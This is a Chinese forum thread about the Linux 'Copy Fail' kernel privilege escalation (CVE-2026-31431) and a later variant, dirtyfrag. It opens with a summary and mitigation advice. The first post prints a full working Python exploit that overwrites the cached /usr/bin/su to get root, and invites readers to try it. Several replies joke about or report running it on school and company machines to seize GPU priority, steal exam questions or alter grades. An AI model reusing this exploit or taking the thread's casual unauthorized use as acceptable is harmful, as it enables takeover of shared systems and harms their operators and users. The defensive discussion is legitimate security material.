Linux被发现了一个重大漏洞，2017年后的发行版可一键提权
Linux 再曝零日提权漏洞 dirtyfrag，无 CVE 无补丁，影响广泛。
1. 关键信息
- 漏洞编号：CVE‑2026‑31431（Copy Fail）【#1】；新漏洞 dirtyfrag 无 CVE 编号【#97】【#98】
- 漏洞类型：Zero‑copy page‑cache 写入导致任意文件 4 Byte 覆盖，可实现本地提权（LPE）【#1】；dirtyfrag 为类似利用手法的新变种【#96】
- 受影响范围：Linux 内核自 2017 年起的所有发行版，尤其启用了
algif_aead（AF_ALG）模块的系统【#1】【#22】；dirtyfrag 同样影响未打补丁的系统【#97】 - 利用方式：通过
splice()将受控文件数据送入绑定authencesn的 AEAD 套接字，利用零拷贝将 4 Byte 写入任意可读文件的页缓存【#1】；dirtyfrag 具体利用细节尚未完全公开【#96】 - PoC 代码已公开（Python 与 C 移植）【#1】【#76】；dirtyfrag 项目地址 https://github.com/V4bel/dirtyfrag【#96】；部分平台（NixOS、WSL2、部分 Android）因缺少模块或权限限制无法复现【#63】【#69】【#77】
- 官方响应：多数发行版在 2026‑04‑01 左右发布内核补丁（6.18 及以上）【#40】【#67】；dirtyfrag 因 embargo 被打破，尚无任何发行版补丁【#98】
- 影响场景：云服务、容器、CI/CD runner、HPC 集群、学校/公司内部机器、WSL2、部分 Android 设备（老机型）【#12】【#22】【#24】【#31】；有用户怀疑 Canvas 被黑与此漏洞有关【#101】
- 防御建议：禁用
algif_aead模块或在modprobe.d中黑名单；开启自动内核升级（unattended‑upgrades）【#22】【#47】；检查容器共享页缓存的配置；对 Android 设备确认未加载该模块【#57】；针对 dirtyfrag 需等待官方补丁或临时禁用相关内核功能
2. 羊毛/优惠信息
无
3. 最新动态
- 2026‑04‑01：多数主流发行版（Ubuntu 26.04、RHEL 等）发布 CVE‑2026‑31431 补丁【#40】【#67】
- 2026‑04‑29：漏洞正式披露，Copy Fail 项目公开 PoC 与详细报告【#1】【#26】
- 2026‑05‑前后：社区提供跨平台 C 实现（GitHub）【#76】；部分用户在 NixOS、WSL2 上尝试复现，结果不一致【#63】【#69】
- 近期：部分企业内部邮件显示已计划停机重装或升级内核【#93】
- 2026‑05‑08：新漏洞 dirtyfrag 公开（Round 2），无 CVE 编号，无发行版补丁，embargo 因外部因素被打破【#96】【#97】【#98】；GitHub 仓库已收到 issue 反馈【#102】；有用户猜测 Canvas 被黑可能与此相关【#101】
4. 争议或不同意见
- 部分用户质疑 CVE‑2026‑31431 漏洞公开时未进行足够的 embargo，认为公司利用“赚新闻”动机公开【#68】
- 有人指出漏洞利用需要读取权限的文件，认为实际攻击门槛仍高于宣传【#78】
- 对 Android 影响范围存疑：新机 SELinux 与未加载
algif_aead模块使其不可利用【#57】【#62】 - NixOS 用户报告 PoC 不起作用，可能与 suid 包装器的权限设置有关【#77】【#81】
- dirtyfrag 的公开方式引发争议：embargo 被打破导致无补丁可用，部分用户批评披露流程混乱【#98】【#100】
- 有用户讽刺“AI 闹麻了”，认为此类漏洞披露过于频繁【#99】
5. 行动建议
- 立即检查内核配置：
grep CONFIG_CRYPTO_USER_API /proc/config.gz，确认ALG相关选项是否启用。若启用且不需要，加黑名单algif_aead并modprobe -r algif_aead【#22】。 - 更新内核：确保系统运行的内核版本已包含 CVE‑2026‑31431 修复（≥6.18 或对应发行版的补丁）。对未自动更新的机器手动升级。
- 关注 dirtyfrag 进展：由于无 CVE 无补丁，持续跟踪 https://github.com/V4bel/dirtyfrag 及安全邮件列表，等待发行版官方回应。
- 开启自动安全更新：在 Debian/Ubuntu 系统启用
unattended-upgrades，在 RHEL 系列使用yum‑automatic或dnf‑automatic【#47】。 - 审计容器/CI 环境：禁止容器共享宿主机页缓存，或在容器运行时使用
--security-opt=no-new-privileges、--cap-drop=SYS_ADMIN等限制。 - 对 Android 设备：确认内核未编译
CONFIG_CRYPTO_USER_API_AEAD，若有则评估升级系统或禁用相关模块。 - 临时缓解 dirtyfrag：在官方补丁发布前，考虑禁用
splice()系统调用（需评估业务影响）或使用 seccomp 限制相关系统调用。
保持系统及时打补丁、最小化不必要的内核功能、并对关键机器实施强制升级，是防止此类零拷贝写入类 LPE 的最有效手段。
漏洞报告请看： https://copy.fail/ https://copy.fail/ CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code. 这个漏洞的本质是一个逻辑错误，出现在 Linux 内核的 authencesn（一种用于 IPsec 扩展序列号的加密模板）中。 脚本利用了 splice() 系统调用。splice() 的特点是**“零拷贝 (Zero-copy)”**——当它在文件和管道之间传输数据时，它不复制数据本身，而是直接传递该文件在内存中的“页面缓存 (Page Cache)”引用。 当攻击者通过 splice() 将一个文件传入到绑定了 authencesn 的 AF_ALG（内核加密接口）套接字时，内核在执行解密逻辑并重新排列序列号（Sequence Number）时，会不慎将攻击者构造的 4 字节数据，直接写入到输入数据的缓冲区中。由于这是零拷贝，这个缓冲区实际上就是该文件在系统级页面缓存中的物理内存页。 这意味着，普通用户可以精准地将任意 4 个字节覆盖到系统上任何他拥有读取权限的文件的缓存中。 简而言之，有shell就能拿root #!/usr/bin/env python3 import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su") 目前没有修复，可以在自己电脑试试，不建议去公司电脑试试（但应该可以work）
这么厉害
splice…… 草
xxxyyy: 可以在自己电脑试试，不建议去公司电脑试试 听起来挺吓人的，为了保护我自己的信息安全，我决定在学校/公司电脑上试
感觉这应该是十年内最严重的了吧 利好降压药
被发现就不好了
利好 hack gradescope autograder
确实没见过这么严重的，影响很大，门槛极低
其实这个风险更多是利好内鬼 afterall这个好歹也得有some access
唉，看来这个周末又没有好日子过了，一定又是各种系统upgrade…
会影响云服务的，估计要来一大波升级才能好
利好ai公司
利好ai安全公司，比如发现这个漏洞的公司 /uploads/short-url/lAwN1Iq69ycvMcFUVRgSqDQ8cxA.jpeg?dl=1
xxxyyy: https://copy.fail/ 是的 我就是做os的 正在和同事聊这个
ssh的漏洞，应该比这个严重。
搞钱不到钱只能玩卡: 其实这个风险更多是利好内鬼 利好k8s、ci runner提权，拿去挖矿
又多了一个裁员的理由，毕竟人写的代码才有漏洞
之前那个claude 的没发现这个吗
claude靠自己很难得，还是需要专家结合AI才行
emmm所以说利好内鬼 主要我是做on-perm的 这次这个断网了都能被内鬼一锅端
公司服务器应该一周前就已经patch过了，公司发的个人Linux电脑比较罕见吧。 自己的服务器可以先手动禁用这个kernel module echo "blacklist algif_aead" >> /etc/modprobe.d/blacklist-algif-aead.conf modprobe -r algif_aead https://www.sentinelone.com/vulnerability-database/cve-2026-31431/
网页上写了 container escape，但是没有解释
AI 发现的？
AI安全公司发现的，没说是AI发现的
Was this AI-found?→ AI-assisted. The starting insight — that splice() hands page-cache pages into the crypto subsystem and that scatterlist page provenance might be an under-explored bug class — came from human research by Taeyang Lee at Xint. From there, https://copy.fail/#contact scaled the audit across the entire crypto/ subsystem in roughly an hour. Copy Fail was the highest-severity finding in the run.
在AI面前 开源就是个小娘们 迟早被玩死
解决了我忘记了密码的问题
那个触发麻烦多了 危害大但是门槛高 而且最初过程异常是能看到的 这个真就是悄咪咪直接引爆核弹 感觉还是更吓人一点 那个是留个缝给小偷撬锁还是得各凭本事能不能撬开 这次这个直接无限提升内鬼杀伤力
靠这个漏洞，估计随便哪个大学如果有好事的学生，就能把自己学校主页直接改掉了
开源的目的之一就是大家一起找bug，只不过项目越来越大的情况下专家已经不够用了，现在有了ai帮忙找bug，开源的质量会更好。 另一方面泥潭能利用的bug就越来越少，比如amex最近的一系列修复。
学校机子还真行 # whoami root 是时候去学校gpu集群把自己的任务优先级拉满了
如果以后AI可以直接读binary呢？
现在不可以吗 dump一下啥都出来了 能不能反编出来另说
被学校发现了会怎样
应该去老师的文件夹里把考题偷出来
/uploads/short-url/c7LFk1Je0yCaAMxTTDB2Cjwjfwj.jpeg?dl=1
这种离谱漏洞没修复就公布？ 啥公司这么缺德？
4月1日就patch了，只是升级内核不够勤而已。
因为不是远程执行，所以各个 vendor 表现并不那么积极
看来这些公司都是草台班子 Wi-Fi: 公司服务器应该一周前就已经patch过了 估计都没patch呢
收束观测者: 这种离谱漏洞没修复就公布？ 啥公司这么缺德？ Will you release the full PoC?→ Yes — it’s https://copy.fail/#exploit. We held it for a month while distros prepared patches; the major builds are out as of this writing. distro修复了之后就自生自灭了
真的只是拉满优先级吗
dispute
之前上英伟达的课，作业题部分给了一台GPU server共享测试环境，太久没更新肯定充满各种漏洞，我登进去之后看了看shell，一大堆乱七八糟的人在跑乱七八糟的东西也没人管。 这类自生自灭环境反正出问题了就扬了重装，也影响不到公司核心数据，随便了。 大家要养成好习惯，打开unattended upgrades， so you can sleep well at night
他这是HPC集群吧，不一样的。估计不是测试开发机
把别人都kill掉
OMSCS 的 agentic AI Seminar 吧，都在 docker 里面 Wi-Fi: 大家要养成好习惯，打开unattended upgrades， so you can sleep well at night 打开unattended upgrades，so you can get paged at night，谁开谁就是想加班
LoongIsSmart: 利好 hack gradescope autograder Submission 记录覆盖不了，之前有个利用 Gradescope 改分的被 suspend 了，不知道签证有没有被取消。
改成绩啊 秀肌肉不如闷声发大财
内核邮件列表里讨论patch时伪装成了一个无关紧要的小问题以免引起人注意。 The handling of CVE-2026-31431 (Copy Fail) on http://kernel.org is a textbook example of a “Stealth Patch” or Defensive Cleanup. In the Linux kernel community, highly critical security vulnerabilities are often addressed as “correctness” or “maintenance” issues to prevent the immediate publication of a blueprint for attackers before system administrators have had time to update. The patch that fixed Copy Fail was titled as a simple revert of a 2017 performance optimization. The commit message focused on “complexity” and “unnecessary optimizations” rather than “root-level privilege escalation.”
现在就可以读，只不过能力还不够强。而且binary防破解技术史前时代就有了，加壳技术这些，ai静态分析并不能分析出个啥。ai变态的点在于它还可以做运行时分析，比如通过不断高效修改待分析的binary的运行环境，上古时代的码农不知道要掉多少头发花多少时间才能分析的东西，ai现在给你自动化了。
ctzsm: 比如通过不断高效修改待分析的binary的运行环境，上古时代的码农不知道要掉多少头发花多少时间才能分析的东西，ai现在给你自动化了。 我现在就在做类似的事 ，一堆profiler log自己看真是头痛，也没耐心。丢给AI自动化简单又轻松
我们安卓用户咋办，厂商估计都不管
Good point, 被锁死的老机器可以root了 Update: 研究了一下，近年的android有很多SELinux的guardrail，还得是老一点的机器才有戏。而且我看了我手边的安卓机，没有加载AF_ALG kernel module
安卓设备貌似默认都没开这个kernel module没事的
Total for all users: 138 jobs; 0 completed, 0 removed, 41 idle, 97 running, 0 held, 0 suspended 按照我们学校gpu的排队情况会不会被发现都不一定…
懂了，以后黑客的 AI 专门瞄准 葱花香菜都要: unnecessary optimizations
门槛太低了。
Wi-Fi: Update: 研究了一下，近年的android有很多SELinux的guardrail，还得是老一点的机器才有戏。而且我看了我手边的安卓机，没有加载AF_ALG kernel module 应该要很老才行 /uploads/short-url/7STeBOYZ2YjFHKl28WjaMfwTrqb.png?dl=1
https://news.ycombinator.com/item?id=47955162 https://news.ycombinator.com/item?id=47955162 Update: Checking the kernel config indeed confirms this.<p><pre><code> adb shell zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API # CONFIG_CRYPTO_USER_API_HASH is not set # CONFIG_CRYPTO_USER_API_SKCIPHER is not set # CONFIG_CRYPTO_USER_API_RNG is not set # CONFIG_CRYPTO_USER_API_AEAD is not set</code></pre> https://news.ycombinator.com/user?id=alufers — https://news.ycombinator.com/item?id=47955162 没有 enable
醉了，微软的WSL都没更新kernel
这个漏洞是persistent的，跑完同一台电脑上所有人都有root了…… 干完记得强制invalidate cache ~$ su # echo 2 > /proc/sys/vm/drop_caches
Linux提权漏洞那么多 10年前还有个dirty cow呢
怎么可能那么快修，现在patch才backport到6.18，再早的都没有patch 各大发行版稍微老一点的系统都没推patch，Ubuntu只有刚release的26.04是带了patch的 https://ubuntu.com/security/CVE-2026-31431 RHEL也差不多 https://access.redhat.com/security/cve/cve-2026-31431 https://access.redhat.com/security/cve/cve-2026-31431 jzj: 4月1日就patch了，只是升级内核不够勤而已。 4月1日patch的是mainstream，相当于dev branch，谁tm用mainstream donk666: 应该要很老才行 /uploads/short-url/7STeBOYZ2YjFHKl28WjaMfwTrqb.png?dl=1 SELinux有这个rule感觉不一定kernel里有这个module吧，感觉有可能是复制粘贴进去的没仔细看 而且这是neverallow，显然以普通app权限也是exploit不了的 如果真的哪个kernel开了可以试试用adb行不行 反正我手机上连owner=root的setuid binary都找不着，感觉是exploit不了的
webmaster: 各大发行版稍微老一点的系统都没推patch 这点确实是这群AI security researcher不地道。正常情况下这种大范围大影响力漏洞怎么都得尽量embargo 90天，因为patch来不及推到全球覆盖还需要延长到180天。加速到30天公开我能想到的合理理由只有发现了在野利用。他们的网站让我有种想赶紧搞个大新闻以便搞钱的画风。
WSL2我试过貌似复现不了
我问chatgpt用SE policy怎么补,他给了一个补丁一个测试,打完补丁发现测试通不过还是有洞
Wi-Fi: 他们的网站让我有种想赶紧搞个大新闻以便搞钱的画风。 是的啊，这个网站上线的时候一堆错误，一看就是vibe writeup
Wi-Fi: 正常情况下这种大范围大影响力漏洞怎么都得尽量embargo 90天 毕竟照现在的速度90天后可能公司都烧完钱倒闭了
活下来被搞一波lawsuit？
我靠，有shell就能拿到root？本身就够逆天，要是再可以突破container限制的话就无敌了
我win11里让opus测它说复现了 我直接让它堵了
/uploads/short-url/wnO4SZ1PFcwrpIVRrrt3qto6MEd.png?dl=1 这个脚本好像里面注入的代码是x86的，估计arm会跑不了，要重新写一个 update：有人用C写了一个跨平台版 https://github.com/tgies/copy-fail-c https://github.com/tgies/copy-fail-c Cross-platform C port of the Copy Fail Linux LPE (CVE-2026-31431). Disclosed 2026-04-29 by Theori / Xint.
NixOS上复现不了，大胜利！ 改了路径，也试了暴力复制一个/usr/bin/sh，都不行。 hacker news上的人似乎也没搞出来 https://news.ycombinator.com/item?id=47955917 xxxyyy: the reason why is because the NixOS suid wrappers have +x but not +r: 对的，我还专门设置了复制出来的 /usr/bin/sh 权限，也不行。所以我也不理解为什么不行，感觉是侥幸逃过这个script但可能改一下script也能work。 Wi-Fi: 只是这个PoC不work？ agreed 有人在github上发适用于nixos的script，但我本地运行还是失败…… https://raw.githubusercontent.com/FokoHetman/copy-fail-CVE-2026-31431/refs/heads/main/copy_fail_exp.py
the reason why is because the NixOS suid wrappers have +x but not +r: 貌似只能注入到有read权限的文件里
这个漏洞的原理是改page cache。nixOS的文件系统内存缓存机制还是同一套，本质上也可以被攻击，只是这个PoC不work？ 需要+r是因为需要让无权限用户触发读取文件进cache。
这个PoC不work，毕竟su的权限不同。但漏洞应该还是在的，一样可以拿来写入任意一个你有read权限的文件。光是靠这个就能干到很多root的事情了
xxxyyy: 这个PoC不work，毕竟su的权限不同 但已经改了，和我vm ubuntu里的权限是完全一样的。 我看了下nixos discourse居然没有讨论
让我想起很古早的一个browser fingerprint的办法，隐身模式下检测隐身模式外面创建的cache，包括但不限于文件的缓存、DNS结果的缓存等等。后来浏览器隐身模式每一层都需要完全独立的cache。 Container host为了节省内存（也为了缩短冷启动时间）是会尽量让不同container共享尽量多的缓存的，包括内核和很多系统底层文件，因为各个container反正都一样，不如直接共享，反正（以为）是只读/CoW的。这是个很大的attack surface，应该就是他们网站故意没说的部分。 这么一搞，以后注重安全的场合又得做缓存隔离，浪费内存。美光股东狂喜。
xxxyyy: In this case, the operator prompt was quite simple: This is the linux crypto/ subsystem. Please examine all codepaths reachable from userspace syscalls. Note one key observation: splice() can deliver page-cache references of read-only files (including setuid binaries) to crypto TX scatterlists. After about an hour, the scan was complete, and http://copy.fail/ was the highest severity output. 所以说其实是Xint Code的大型广告
/uploads/short-url/wAsd2AZ9rRsPgUH50ArgW13wKmx.png?dl=1 Wi-Fi: 这么一搞，以后注重安全的场合又得做缓存隔离，浪费内存。美光股东狂喜。 虽然理论上containerd的隔离不差但不会真的有人把containerd当安全边界吧 嘉然今天吃什么: 但我本地运行还是失败…… 看一看build flag？
安全与性能永远在拉锯
坊间传言，最近CIA很头疼
Wi-Fi: 只是这个PoC不work？ turned out 这个https://raw.githubusercontent.com/FokoHetman/copy-fail-CVE-2026-31431/refs/heads/main/copy_fail_exp.py在我本地nixos电脑work，而在我维护的别的四台服务器都不行…… 太神秘了。虽然linux kernel 小版本不一样但都是今年二月份前的build date
具体改了啥
/uploads/short-url/aIxPBcQN5uvpTNXqKXJGCYA3lYg.png?dl=1
确实可以。太可怕了
只是把不存在的 /usr/bin/su 找到罢了，我当时手动更改以后发现还是失败，就是没怀疑是server自己有什么特殊的地方。。？ 但还是禁用这个module安全
虽然这个可能是广告，但真的可以复现，还是很让人吃惊的
/uploads/short-url/quL7HiCz9fyEutbmDo2DooxSDkp.jpeg?dl=1 刚收到邮件说服务器要down几小时来重装。 然后昨天干了的人被发邮件查水表了
所以他们说是要干什么，重装是为了防止有人用了？还是有patch？
不知道啊，可能要更新kernel吧
Round 2: https://github.com/V4bel/dirtyfrag
怎么又来了……上次的补丁刚打完，又成功 root 了 而且这回居然没有 CVE 也没有 patch
Due to external factors, the embargo has been broken, so no patch exists for any distribution.
AI闹麻了
/uploads/short-url/xDAjr8RjbS8qwVvEMgV0MAz9LgS.jpeg?dl=1 4/30号report的，这一周就被发出来了
说起来今天Canvas被黑不会是这个bug导致的吧
https://github.com/V4bel/dirtyfrag/issues/18 https://github.com/V4bel/dirtyfrag/issues/18 已打开 03:45AM - 08 May 26 UTC https://github.com/WavesMan If anthropic keeps digging like this, it might just be able to reconstruct the L inux kernel 😭😭😭